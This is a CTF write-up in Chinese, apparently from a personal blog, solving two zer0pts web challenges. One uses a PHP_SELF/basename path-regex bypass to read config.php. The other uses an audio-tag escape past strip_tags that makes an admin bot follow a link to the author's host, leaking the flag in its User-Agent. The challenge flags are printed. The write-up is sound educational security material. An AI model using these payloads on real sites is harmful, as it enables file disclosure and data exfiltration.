Author:颖奇L’Amore Blog:www.gem-love.com
日本的比赛,比赛时间和XCTF完美重合,XCTF就全程自闭,这个比赛也全程自闭
Can you guess it? (338pt)▸
这题挺好玩的,上来就可以得到源码:
|
但其实仔细看可以发现这里有蹊跷:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { |
正则的匹配ban掉了config.php。然后会highlight_file()
:
if (isset($_GET['source'])) { |
可以发现这里加上了basename()
可能是为了跨目录读文件,而问题正好出在了这里,演示:
当我访问test.php时,我可以在后面加上一些东西,比如/test.php/config.php,这样仍然访问的是test.php,但经过basename()
后,传进highlight_file()
函数的文件名就变成了config.php,如果能绕过那个正则,就可以得到config.php源码了,而题目告诉FLAG就在config.php里,这道题就做完了。所以说,那个随机数就是个障眼法 可以发现发现,这个正则匹配了config.php/为$_SERVER['PHP_SELF']
的结尾
/config\.php\/*$/i
老套路了,可以用%0d之类的来污染绕过,这样仍然访问得到index.php:
/index.php/config.php/%0d
然后尝试在后面加上?source但是却失败了。这里绕过正则主要是通过后面填充一些东西来绕过正则中的$
,于是写了个脚本跑一下看看什么东西能成功:
#Author:颖奇L'Amore www.gem-love.com |
跑一下得到flag:
flag:zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}
MusicBlog (653pt)▸
考点一、代码审计▸
下载附件得到源码,源码很多,但是做题并不复杂。 首先是bot代码:
// (snipped) |
bot将Flag设为UA去点击#like
标签 接下来审一下题目web程序的源码,首先在init.php可以看到有CSP:
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types"); |
题目是一个博客,发表的文章会被后台管理员的Bot检查,加上CSP,基本可以断定是个xss的题。 在查看文章的post.php发现如下代码:
<h1 class="mt-4"> |
在输出内容时调用了自定义的render_tags()
函数,跟进到util.php:
function render_tags($str) { |
在发表新文章地方有这样的提示:
这个URL被替换成<audio>
标签就是在render_tags()
中进行的。这题目出的很明白了,还特意给了提示,URL也没有进行安全检查,基本可以肯定就要在这个URL上做文章。
▸
继续看render_tags()
函数,在进行URL替换为<audio>
标签之后,用strip_tags()
函数剥去了除<audio>
外的标签。假设我传入的URL为:
\[\[y1ng"></audio><script>alert(%27a%27);</script>"\]\] |
经过preg_replace()
替换后变成了:
<audio controls src="y1ng"></audio><script>alert('a');</script>""></audio> |
可以看到<script>
从<audio>
标签中逃逸出来实现了xss,但是经过strip_tags()
的剥去html标签处理后,字符串变成了:
<audio controls src="y1ng"></audio>alert('a');""></audio><br> |
这样又不再能xss了。但是可以发现一个非常有用的信息,在alert()
前面的</audio>
标签是我们认为传进去的,同样被保留了,这是因为html标签成对出现,因此strip_tags()
的处理也自动对白名单标签的闭合标签做了白名单处理,经测试,如果以闭合标签为allow参数,那么该函数则不会把它的“另一半”也allow了。 为什么对应的闭合标签会被同样保留?经过测试发现,假设allow的标签为
</a/udio> <aud/io> <au//dio> </a/u/d/i/o> |
那么,这样的标签是什么意思呢? 可以看到,在标签中间的/
似乎把后面注释掉了,导致“udio”变成了白色
在浏览器中,<a/udio>
会被解析成<a>
于是就成了一个超链接
同样的</a/udio>
会被浏览器认为是</a>
,这样就能构造<a></a>
的一对闭合标签实现了超链接
考点三、XSS▸
提交如下payload:
\[\[y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>\]\] |
就会被处理成:
<audio controls src="y1ng"></audio><a/udio href="https://gem-love.com">1</a/udio>"></audio> |
可以看到确实能够实现超链接:
但是超链接有什么用?能执行JavaScript吗? 再次回到bot:
await page.click('#like'); |
bot会点击#like
,而现在我们能够通过标签的逃逸来自定义出一个超链接,只要在自定<a>
中设置了like这个id,管理员bot就会带着flag来点击访问这个超链接,这时候就能得到flag了。payload:
\[\[y1ng"></audio><a/udio id="like" href="http://gem-love.com:12358">1</a/udio>\]\] |
flag: zer0pts{M4sh1m4fr3sh!!}